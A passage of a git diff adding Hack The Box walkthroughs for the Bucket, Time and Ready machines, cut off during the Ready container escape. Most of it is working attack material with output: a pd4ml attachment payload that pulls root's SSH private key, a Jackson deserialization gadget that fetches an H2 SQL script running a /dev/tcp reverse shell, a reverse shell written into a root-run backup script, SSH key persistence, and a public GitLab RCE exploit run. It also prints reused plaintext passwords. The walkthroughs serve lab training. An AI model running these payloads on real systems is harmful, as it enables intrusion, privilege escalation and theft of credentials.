www-data, however there is a **+** after the **RWXR-X---** permissions, and that's odd. To enumerate that we can use getfacl: + + + www-data@bucket:/var/www$ getfacl bucket-app/ + # file: bucket-app/ + # owner: root + # group: root + user::rwx + user:roy:r-x + group::r-x + mask::r-x + other::--- + + + +And here we see that the root user allowed the user **roy** to access that directory, so we need to first privesc to the roy user. Now since roy is a valid user on this box let's try to login with the 3 passwords we found earlier: + + + www-data@bucket:/var/www$ su - roy + Password:n2vM-<****_K_Q:.Aa2 + roy@bucket:~$ id + uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm) + roy@bucket:~$ cat user.txt + 9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + +And there you go! We managed to privesc to the roy user and get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to root let's investigate what that bucket-app is about, for ease of use we can ssh as the roy user: + + + [ 10.10.14.8/23 ] [ /dev/pts/16 ] [~/HTB/Bucket] + → ssh roy@bucket.htb + The authenticity of host 'bucket.htb (10.10.10.212)' can't be established. + ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'bucket.htb,10.10.10.212' (ECDSA) to the list of known hosts. + roy@bucket.htb's password: + Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu 01 Jul 2021 08:00:00 PM UTC + + System load: 0.08 + Usage of /: 33.6% of 17.59GB + Memory usage: 26% + Swap usage: 0% + Processes: 242 + Users logged in: 0 + IPv4 address for br-bee97070fb20: 172.18.0.1 + IPv4 address for docker0: 172.17.0.1 + IPv4 address for ens160: 10.10.10.212 + IPv6 address for ens160: dead:beef::250:56ff:feb9:5d06 + + * Kubernetes 1.19 is out! Get it in one command with: + + sudo snap install microk8s --channel=1.19 --classic + + https://microk8s.io/ has docs and details. + + 229 updates can be installed immediately. + 103 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + + + The programs included with the Ubuntu system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by + applicable law. + + Last login: Wed Sep 23 03:33:53 2020 from 10.10.14.2 + roy@bucket:~$ id + uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm) + roy@bucket:~$ + + + +Now looking into the bucket-app directory we see that there is some php, and java files to work with: + + + roy@bucket:/var/www/bucket-app$ ls -lash + total 856K + 4.0K drwxr-x---+ 4 root root 4.0K Feb 10 12:29 . + 4.0K drwxr-xr-x 4 root root 4.0K Feb 10 12:29 .. + 4.0K -rw-r-x---+ 1 root root 63 Sep 23 2020 composer.json + 24K -rw-r-x---+ 1 root root 21K Sep 23 2020 composer.lock + 4.0K drwxr-x---+ 2 root root 4.0K Feb 10 12:29 files + 20K -rwxr-x---+ 1 root root 17K Sep 23 2020 index.php + 792K -rwxr-x---+ 1 root root 790K Jun 10 2020 pd4ml_demo.jar + 4.0K drwxr-x---+ 10 root root 4.0K Feb 10 12:29 vendor + + roy@bucket:/var/www/bucket-app$ vim index.php + + +Now when we take a look at index.php we see the following: + +![](prg/63_007.png) + +First of all we see that index.php is checking for a POST request header **"action"=="get_alerts"** and if it recieves it, it will then check the dynamodb database for an item inside the **alerts** table, whose title is **Ransomware** and if it finds it, then once that's done, it will execute a java **pd4ml** command, so first we need to take a look at pd4ml syntax to create a payload, for instance since we know we can upload files, we should look at how to attach files [here](https://pd4ml.com/cookbook/pdf-attachments.htm): + +![](prg/63_008.png) + +So here we can create our first payload, and we're going to name it ransomware: + + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → vim ransomware.json + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → cat ransomware.json| jq + { + "title": { + "S": "Ransomware" + }, + "data": { + "S": "<****html> <****pd4ml:attachment src='file:///root/.ssh/' description='nihilist' icon='Paperclip'/>" + } + } + +Since this is a java application, simply specifying a directory will act like a directory listing, now since we saw earlier that we could interact with the database using awscli, we make another payload to create the table called **alerts** that's because we saw earlier that there was only one table called 'users', and after we create the table we're going to put the file as an item inside of that new table: + + + + aws --endpoint-url http://s3.bucket.htb dynamodb create-table \ + --table-name alerts \ + --attribute-definitions AttributeName=title,AttributeType=S \ + --key-schema AttributeName=title,KeyType=HASH \ + --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb dynamodb list-tables + { + "TableNames": [ + **"alerts",** + "users" + ] + } + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item file://ransomware.json + { + "ConsumedCapacity": { + "TableName": "alerts", + "CapacityUnits": 1.0 + } + } + + +If you get an error because the table doesn't exist, keep recreating the table because the box wipes the tables every minutes or so. To do this quicker i made a simple script that will run all the 3 aws commands we need: + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → cat aws.sh + #!/bin/bash + + aws --endpoint-url http://s3.bucket.htb dynamodb create-table \ + --table-name alerts \ + --attribute-definitions AttributeName=title,AttributeType=S \ + --key-schema AttributeName=title,KeyType=HASH \ + --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 + + aws --endpoint-url http://s3.bucket.htb dynamodb list-tables + aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item file://ransomware.json + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → chmod +x aws.sh + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → ./aws.sh + + +Now that's done we need to actually access the application itself that's running on port 8000, which only listens for connections coming from localhost, so let's use a [SSH Tunnel](../Tools/sshtunnels/index.md) to port forward the port to our local machine so that we can access it: + + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Bucket] + → ssh -L 8000:127.0.0.1:8000 roy@bucket.htb + roy@bucket.htb's password: n2vM-<****_K_Q:.Aa2 + + [...] + + roy@bucket:~$ + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → nmap 127.0.0.1 -p 8000 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-01 22:55 CEST + Nmap scan report for localhost (127.0.0.1) + Host is up (0.000084s latency). + + PORT STATE SERVICE + 8000/tcp open http-alt + + Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds + +Here we see that we successfully port forwarded the application to our local 8000 port. so let's view it from our browser: + +![](prg/63_009.png) + +Not much to see on it, however back to our roy SSH session, we know that there is a directory called 'files': + + + roy@bucket:/var/www/bucket-app$ ls -lash files/ + total 8.0K + 4.0K drwxr-x---+ 2 root root 4.0K Feb 10 12:29 . + 4.0K drwxr-x---+ 4 root root 4.0K Feb 10 12:29 .. + + + +` ![](prg/63_010.png) + +and that's where the PDF file will get generated. so let's run our exploit to create the table, upload ransomware.json and then see the result after we made that POST request with the **get_alerts** header, so let's add it to our script, to do so we're going to use curl: + + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → cat aws.sh + #!/bin/bash + + aws --endpoint-url http://s3.bucket.htb dynamodb create-table \ + --table-name alerts \ + --attribute-definitions AttributeName=title,AttributeType=S \ + --key-schema AttributeName=title,KeyType=HASH \ + --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 + + aws --endpoint-url http://s3.bucket.htb dynamodb list-tables + aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name alerts --item file://ransomware.json + **curl -X POST -d "action=get_alerts" http://127.0.0.1:8000** + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → ./aws.sh + + +Now we run the script and check the files directory we found previously: + +![](prg/63_011.png) + +When we click the generated PDF we get the following: + +![](prg/63_012.png) + +So here we get a PDF with an attached file as planned, now the question is what did we get from that attached file: + +![](prg/63_013.png) + +And we managed to take a look into the root user's **.ssh** directory! so now let's change our ransomware.json to get the root's **id_rsa** private key: + + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → vim ransomware.json + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → cat ransomware.json + {"title": + {"S": "Ransomware"}, + "data":{"S":""} + } + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → ./aws.sh + + + +` ![](prg/63_014.png) + +Looks like we got the private key! now let's use it to login as root via ssh: + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → cp ~/Downloads/root.id_rsa . + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → chmod 600 root.id_rsa + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Bucket] + → ssh root@bucket.htb -i root.id_rsa + Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu 01 Jul 2021 09:20:54 PM UTC + + System load: 0.04 + Usage of /: 33.6% of 17.59GB + Memory usage: 27% + Swap usage: 0% + Processes: 256 + Users logged in: 1 + IPv4 address for br-bee97070fb20: 172.18.0.1 + IPv4 address for docker0: 172.17.0.1 + IPv4 address for ens160: 10.10.10.212 + IPv6 address for ens160: dead:beef::250:56ff:feb9:5d06 + + * Kubernetes 1.19 is out! Get it in one command with: + + sudo snap install microk8s --channel=1.19 --classic + + https://microk8s.io/ has docs and details. + + 229 updates can be installed immediately. + 103 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Tue Feb 9 14:39:03 2021 + root@bucket:~# id + uid=0(root) gid=0(root) groups=0(root) + root@bucket:~# cat root.txt + 82XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to login as the root user and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/63_graph.png) + diff --git a/Medium/64.md b/Medium/64.md new file mode 100644 index 0000000..7d85797 --- /dev/null +++ b/Medium/64.md @@ -0,0 +1,258 @@ +# Time Writeup + +![](img/64.png) + +## Introduction : + +Time is a Medium Linux box released back in October 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~] + → nmap -vvv -p- 10.10.10.214 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.214 + Discovered open port 80/tcp on 10.10.10.214 + + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~] + → nmap -sCV -p22,80 10.10.10.214 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-02 11:08 CEST + Nmap scan report for 10.10.10.214 + Host is up (0.46s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA) + | 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA) + |_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Online JSON parser + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.40 seconds + + + +## **Part 2 : Getting User Access** + +Now our nmap scan picked up port 80 so let's take a look at it: + +![](prg/64_001.png) ![](prg/64_002.png) ![](prg/64_003.png) + +The website is basically a simple json parser, however when we take a look at the 'validate' option, giving it some random string makes it error out and reveals out the backend that's being used: + + + Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'random': was expecting ('true', 'false' or 'null') + + + +So now we know that this is jackson core json parser, so if we google for jackson CVEs we stumble upon this [jackson gadgets](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) blogpost which details how we can get the remote host to download a SQL file containing SHELLEXEC system commands: + +![](prg/64_004.png) + +So let's prepare our payload: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → vim inject.sql + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → cat inject.sql + CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { + String[] command = {"bash", "-c", cmd}; + java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); + return s.hasNext() ? s.next() : ""; } + $$; + CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.8/9001 0>&1') + + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Bucket] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/16 ] [~/HTB/Bucket] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + +And to get the machine to download the sql file from us we will use the following: + + + [\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'\"}] + + #make sure to correct the payload like so: + ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.8:9090/inject.sql'"}] + + + +So let's try it: + +![](prg/64_005.png) + +click process and you will see the following: + +![](prg/64_006.png) + +So we got a reverse shell as the pericles user, before we continue let's upgrade our reverse shell to a fully interactive TTY: + + + pericles@time:/var/www/html$ which python python3 curl wget + which python python3 curl wget + /usr/bin/python3 + /usr/bin/curl + /usr/bin/wget + pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")' + python3 -c 'import pty; pty.spawn("/bin/bash")' + pericles@time:/var/www/html$ ^Z + [1] + 23451 suspended nc -lvnp 9001 + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Time] + → stty raw -echo ; fg + [1] + 23451 continued nc -lvnp 9001 + export TERM=screen-256color + pericles@time:/var/www/html$ export SHELL=bash + pericles@time:/var/www/html$ stty rows 50 columns 200 + pericles@time:/var/www/html$ reset + + pericles@time:/var/www/html$ cd ~ + pericles@time:/home/pericles$ cat user.txt + 32XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to find a path to the root user, let's run linpeas.sh on the box after we login via SSH for ease of use: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time] + → cat ~/.ssh/mahakaliVM.pub + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali + + [terminal 2] + pericles@time:/home/pericles$ mkdir ~/.ssh/ + pericles@time:/home/pericles$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali' >> ~/.ssh/authorized_keys + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/14 ] [~/HTB/Time] + → ssh pericles@10.10.10.214 -i ~/.ssh/mahakaliVM + The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established. + ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts. + Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Sat 03 Jul 2021 03:58:19 PM UTC + + System load: 0.0 + Usage of /: 17.2% of 27.43GB + Memory usage: 12% + Swap usage: 0% + Processes: 232 + Users logged in: 0 + IPv4 address for ens160: 10.10.10.214 + IPv6 address for ens160: dead:beef::250:56ff:feb9:31f0 + + + 168 updates can be installed immediately. + 47 of these updates are security updates. + To see these additional updates run: apt list --upgradable + + + The list of available updates is more than a week old. + To check for new updates run: sudo apt update + + Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5 + pericles@time:~$ + + [terminal 3] + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time] + → ls -lash linpeas.sh + 452K -rw-r--r-- 1 nothing nothing 452K Jul 1 20:22 linpeas.sh + + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 1] + pericles@time:~$ wget http://10.10.10.214:9090/linpeas.sh -O /tmp/peas.sh + --2021-07-03 16:00:28-- http://10.10.10.214:9090/linpeas.sh + Connecting to 10.10.10.214:9090... failed: Connection refused. + pericles@time:~$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh + --2021-07-03 16:00:41-- http://10.10.14.8:9090/linpeas.sh + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 462687 (452K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[========================================================================================================================================>] 451.84K 192KB/s in 2.3s + + 2021-07-03 16:00:45 (192 KB/s) - ‘/tmp/peas.sh’ saved [462687/462687] + + pericles@time:~$ chmod +x /tmp/peas.sh + pericles@time:~$ /tmp/peas.sh + + + +` ![](prg/64_007.png) + +Let linpeas run a bit and then once it's done we scroll through the output to see the following hint: + +![](prg/64_008.png) + +When we take a closer look at that script which is supposed to be ran as the root user, we see that it is actually owned by our user: + + + pericles@time:~$ ls -lash /usr/bin/timer_backup.sh + 4.0K -rwxrw-rw- 1 pericles pericles 88 Jul 3 16:05 /usr/bin/timer_backup.sh + + + +Netcat is on the box too, so let's put a simple bash reverse shell payload in it: + + + [terminal 1] + pericles@time:~$ which nano + /usr/bin/nano + pericles@time:~$ nano /usr/bin/timer_backup.sh + pericles@time:~$ cat /usr/bin/timer_backup.sh + #!/bin/bash + #zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip + bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1" + + [terminal 2] + [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Time] + → nc -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.214] 36874 + bash: cannot set terminal process group (33199): Inappropriate ioctl for device + bash: no job control in this shell + root@time:/# cat /root/root.txt + cat /root/root.txt + d1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get the reverse shell connection as root and get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/64_graph.png) + diff --git a/Medium/65.md b/Medium/65.md new file mode 100644 index 0000000..521038c --- /dev/null +++ b/Medium/65.md @@ -0,0 +1,288 @@ +# Ready Writeup + +![](img/65.png) + +## Introduction : + +Ready is a Medium Linux box released back in December 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready] + → nmap -vvv -p- 10.10.10.220 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.220 + Discovered open port 5080/tcp on 10.10.10.220 + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready] + → nmap -sCV -p22,5080 10.10.10.220 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 10:01 CEST + Nmap scan report for 10.10.10.220 + Host is up (0.54s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) + | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) + |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) + 5080/tcp open http nginx + | http-robots.txt: 53 disallowed entries (15 shown) + | / /autocomplete/users /search /api /admin /profile + | /dashboard /projects/new /groups/new /groups/*/edit /users /help + |_/s/ /snippets/new /snippets/*/edit + | http-title: Sign in \xC2\xB7 GitLab + |_Requested resource was http://10.10.10.220:5080/users/sign_in + |_http-trane-info: Problem with XML parsing of /evox/about + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 34.70 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 5080 so let's investigate it: + +![](prg/65_001.png) + +We can register an account and login, and when we take a look at the help tab we see that we're on an outdated GitLab CE version: + +![](prg/65_002.png) + +So from here we can look for CVEs from exploit-db: + + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready] + → searchsploit gitlab CE + ----------------------------------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------------------------------- --------------------------------- + GitLab 11.4.7 - RCE (Authenticated) (2) | ruby/webapps/49334.py + GitLab Community Edition (CE) 13.10.3 - 'Sign_Up' User Enumerati | ruby/webapps/49822.txt + GitLab Community Edition (CE) 13.10.3 - User Enumeration | ruby/webapps/49821.sh + ----------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready] + → cp $(locate 49334.py) . + + [ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready] + → vim 49334.py + + + +The python script is very easy to use: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Ready] + → python3 49334.py -u nihilist -p password -g http://10.10.10.220 -l 10.10.14.8 -P 9001 + [+] authenticity_token: aBcFFa35xDJUYMcMUr/9vzc2dejA2zNmxbE9EZ9n9m6SCbvMG0CpCMHOcHI31tGZC4sgrSwXQkRNN0nauj4vQw== + [+] Creating project with random name: project235 + [+] Running Exploit + [+] Exploit completed successfully! + + [terminal 2] + [ 10.77.77.77/24 ] [ /dev/pts/14 ] [~/HTB/Ready] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.220] 49454 + id + uid=998(git) gid=998(git) groups=998(git) + + +And we get a reverse shell as the git user! Now let's upgrade our shell to a fully interactive TTY: + + + id + uid=998(git) gid=998(git) groups=998(git) + which python python3 wget curl + /opt/gitlab/embedded/bin/python3 + /usr/bin/wget + /opt/gitlab/embedded/bin/curl + python3 -c 'import pty;pty.spawn("/bin/bash")' + git@gitlab:~/gitlab-rails/working$ ^Z + [1] + 2656726 suspended nc -lvnp 9001 + + [ 10.77.77.77/24 ] [ /dev/pts/14 ] [~/HTB/Ready] + → stty raw -echo ;fg + [1] + 2656726 continued nc -lvnp 9001 + export TERM=screen-256color + git@gitlab:~/gitlab-rails/working$ export SHELL=bash + git@gitlab:~/gitlab-rails/working$ stty rows 50 columns 200 + git@gitlab:~/gitlab-rails/working$ reset + + + +Now that's done we can take a look at the 'dude' user's home directory to see if we have access to the user flag: + + + git@gitlab:~/gitlab-rails/working$ ls -lash /home + total 12K + 4.0K drwxr-xr-x 1 root root 4.0K Dec 2 2020 . + 4.0K drwxr-xr-x 1 root root 4.0K Dec 1 2020 .. + 4.0K drwxr-xr-x 2 dude dude 4.0K Dec 7 2020 dude + git@gitlab:~/gitlab-rails/working$ ls -lash /home/dude + total 24K + 4.0K drwxr-xr-x 2 dude dude 4.0K Dec 7 2020 . + 4.0K drwxr-xr-x 1 root root 4.0K Dec 2 2020 .. + 0 lrwxrwxrwx 1 root root 9 Dec 7 2020 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 dude dude 220 Aug 31 2015 .bash_logout + 4.0K -rw-r--r-- 1 dude dude 3.7K Aug 31 2015 .bashrc + 4.0K -rw-r--r-- 1 dude dude 655 May 16 2017 .profile + 4.0K -r--r----- 1 dude git 33 Dec 2 2020 user.txt + git@gitlab:~/gitlab-rails/working$ cat /home/dude/user.txt + e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user we're going to use linpeas.sh to enumerate the box: + + + [terminal 1] + [ 10.77.77.77/24 ] [ /dev/pts/13 ] [~/HTB/Ready] + → cp /home/nothing/HTB/Time/linpeas.sh . + + [ 10.77.77.77/24 ] [ /dev/pts/13 ] [~/HTB/Ready] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + git@gitlab:~/gitlab-rails/working$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh + --2021-07-05 08:31:12-- http://10.10.14.8:9090/linpeas.sh + Connecting to 10.10.14.8:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 462687 (452K) [text/x-sh] + Saving to: '/tmp/peas.sh' + + /tmp/peas.sh 100%[=============================================================================================================>] 451.84K 187KB/s in 2.4s + + 2021-07-05 08:31:15 (187 KB/s) - '/tmp/peas.sh' saved [462687/462687] + + git@gitlab:~/gitlab-rails/working$ chmod +x /tmp/peas.sh + git@gitlab:~/gitlab-rails/working$ /tmp/peas.sh + + + +` ![](prg/65_003.png) + +we let linpeas run a bit, and then when we scroll through the output we see a certain SMTP password: + +![](prg/65_004.png) + +And if you test it to see if there is password reuse to become root: + + + git@gitlab:~/gitlab-rails/working$ su root + Password:i **wW59U!ZKMbG9+*#h** + root@gitlab:/var/opt/gitlab/gitlab-rails/working# id + uid=0(root) gid=0(root) groups=0(root) + root@gitlab:/var/opt/gitlab/gitlab-rails/working# cd ~ + root@gitlab:~# ls -l + total 0 + + + +And we got root! however we're still in a docker container and we need to escape it. To do so we check the container capabilities with **capsh** : + + + root@gitlab:~# capsh --print + Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip + Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 + Securebits: 00/0x0/1'b0 + secure-noroot: no (unlocked) + secure-no-suid-fixup: no (unlocked) + secure-keep-caps: no (unlocked) + uid=0(root) + gid=0(root) + groups=0(root) + + + +So it seems that cap_sys_admin, cap_sys_ptrace, cap_dac_override, cap_dac_read_search and cap_sys_module are allowed, so it means that the container will allow the mounting of arbitrary partitions, including the main one used by the host, so we list the partitions: + + + root@gitlab:~# fdisk -l + Disk /dev/loop0: 55.5 MiB, 58159104 bytes, 113592 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/loop1: 71.3 MiB, 74797056 bytes, 146088 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/loop2: 31.1 MiB, 32571392 bytes, 63616 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size (logical/physical): 512 bytes / 512 bytes + I/O size (minimum/optimal): 512 bytes / 512 bytes + + + Disk /dev/loop3: 71.4 MiB, 74907648 bytes, 146304 sectors + Units: sectors of 1 * 512 = 512 bytes + Sector size 